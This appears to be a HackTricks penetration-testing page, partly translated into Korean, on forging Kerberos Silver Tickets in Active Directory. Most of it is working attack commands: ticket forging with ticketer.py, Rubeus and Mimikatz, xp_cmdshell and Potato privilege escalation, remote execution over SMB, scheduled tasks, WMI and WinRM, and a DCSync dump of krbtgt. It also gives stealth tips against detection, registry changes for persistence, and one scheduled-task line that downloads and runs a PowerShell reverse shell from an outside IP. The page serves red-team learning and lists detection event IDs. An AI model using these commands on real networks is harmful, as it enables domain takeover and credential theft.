Silver Ticket

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It’s emphasized that using AES keys for forging tickets is more secure and less detectable.

Warning

Silver Tickets are less detectable than Golden Tickets because they only require the hash of the service account, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. Moreover, if you compromise an account’s password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Modern Kerberos changes (AES-only domains)

  • Windows updates starting 8 Nov 2022 (KB5021131) default service tickets to AES session keys when possible and are phasing out RC4. DCs are expected to ship with RC4 disabled by default by mid‑2026, so relying on NTLM/RC4 hashes for silver tickets increasingly fails with KRB_AP_ERR_MODIFIED. Always extract AES keys (aes256-cts-hmac-sha1-96 / aes128-cts-hmac-sha1-96) for the target service account.
  • If the service account msDS-SupportedEncryptionTypes is restricted to AES, you must forge with /aes256 or -aesKey; RC4 (/rc4 or -nthash) will not work even if you hold the NTLM hash.
  • gMSA/computer accounts rotate every 30 days; dump the current AES key from LSASS, Secretsdump/NTDS, or DCsync before forging.
  • OPSEC: default ticket lifetime in tools is often 10 years; set realistic durations (e.g., -duration 600 minutes) to avoid detection by abnormal lifetimes.

For ticket crafting, different tools are employed based on the operating system:

On Linux

# Forge with AES instead of RC4 (supports gMSA/machine accounts)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn <SERVICE_PRINCIPAL_NAME> <USER>
# or read key directly from a keytab (useful when only keytab is obtained)
python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>

# shorten validity for stealth
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn cifs/<HOST_FQDN> -duration 480 <USER>

export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Windows에서

# Using Rubeus to request a service ticket and inject (works when you already have a TGT)
# /ldap option is used to get domain data automatically
rubeus.exe asktgs /user:<USER> [/aes256:<HASH> /aes128:<HASH> /rc4:<HASH>] \
/domain:<DOMAIN> /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd

# Forging the ticket directly with Mimikatz (silver ticket => /service + /target)
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
# RC4 still works only if the DC and service accept RC4
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# Inject an already forged kirbi
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적인 대상으로 강조되지만, HOST 및 RPCSS와 같은 다른 서비스들도 작업 및 WMI 쿼리 수행에 악용될 수 있다.

예: MSSQL 서비스 (MSSQLSvc) + Potato로 SYSTEM

SQL 서비스 계정(예: sqlsvc)의 NTLM 해시(또는 AES 키)를 가지고 있다면 MSSQL SPN에 대해 TGS를 위조하여 SQL 서비스에 대해 임의의 사용자를 가장할 수 있다. 거기서 xp_cmdshell을 활성화해 SQL 서비스 계정으로 명령을 실행할 수 있다. 해당 토큰에 SeImpersonatePrivilege가 있다면 Potato를 체인해 SYSTEM으로 권한 상승할 수 있다.

# Forge a silver ticket for MSSQLSvc (AES example)
python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • 결과 컨텍스트에 SeImpersonatePrivilege(종종 service accounts에 해당)가 있으면 Potato 변형을 사용해 SYSTEM을 획득하세요:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

MSSQL을 악용하고 xp_cmdshell을 활성화하는 방법에 대한 자세한 내용:

MSSQL AD Abuse

Potato techniques 개요:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

사용 가능한 서비스

Service TypeService Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

WinRM

HOST

HTTP

In some occasions you can just ask for: WINRM

Scheduled TasksHOST
Windows File Share, also psexecCIFS
LDAP operations, included DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Using Rubeus you may ask for all these tickets using the parameter:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets 이벤트 ID

  • 4624: 계정 로그인
  • 4634: 계정 로그오프
  • 4672: 관리자 로그인
  • DC에서 동일한 클라이언트/서비스에 대해 4768/4769가 선행되지 않는 것은 서비스에 직접 forged TGS가 제시되었음을 나타내는 일반적인 지표입니다.
  • 비정상적으로 긴 ticket lifetime 또는 예상치 못한 암호화 타입 (도메인이 AES를 강제하는데 RC4가 사용되는 경우)도 4769/4624 데이터에서 눈에 띕니다.

지속성

머신이 30일마다 암호를 변경하지 않도록 하려면 HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1로 설정하거나 HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge를 30days보다 큰 값으로 설정하여 머신 암호가 회전해야 하는 주기를 늘릴 수 있습니다.

서비스 티켓 악용

다음 예제들에서는 티켓을 관리자 계정을 가장하여 획득했다고 가정합니다.

CIFS

이 티켓으로 SMB를 통해 원격 시스템의 C$ADMIN$ 폴더에 접근(노출되어 있는 경우)하고 다음과 같이 원격 파일시스템의 일부로 파일을 복사할 수 있습니다:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

또한 psexec을 사용하여 호스트 내부에서 셸을 획득하거나 임의의 명령을 실행할 수 있습니다:

PsExec/Winexec/ScExec

호스트

이 권한이 있으면 원격 컴퓨터에서 예약 작업을 생성하고 임의의 명령을 실행할 수 있습니다:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

이 tickets로 대상 시스템에서 WMI를 실행할 수 있습니다:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

다음 페이지에서 wmiexec에 대한 추가 정보를 확인하세요:

WmiExec

호스트 + WSMAN (WINRM)

컴퓨터에 대한 winrm 접근이 있으면 해당 컴퓨터에 접속하고 PowerShell 세션을 얻을 수도 있습니다:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

원격 호스트에 winrm을 사용해 연결하는 추가 방법을 알아보려면 다음 페이지를 확인하세요:

WinRM

Warning

원격 컴퓨터에 winrm이 활성화되어 있고 수신 대기 중이어야 접근할 수 있습니다.

LDAP

이 권한으로 DCSync를 사용해 DC database를 dump할 수 있습니다:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

DCSync에 대해 자세히 알아보려면 다음 페이지를 확인하세요:

DCSync

참고 자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기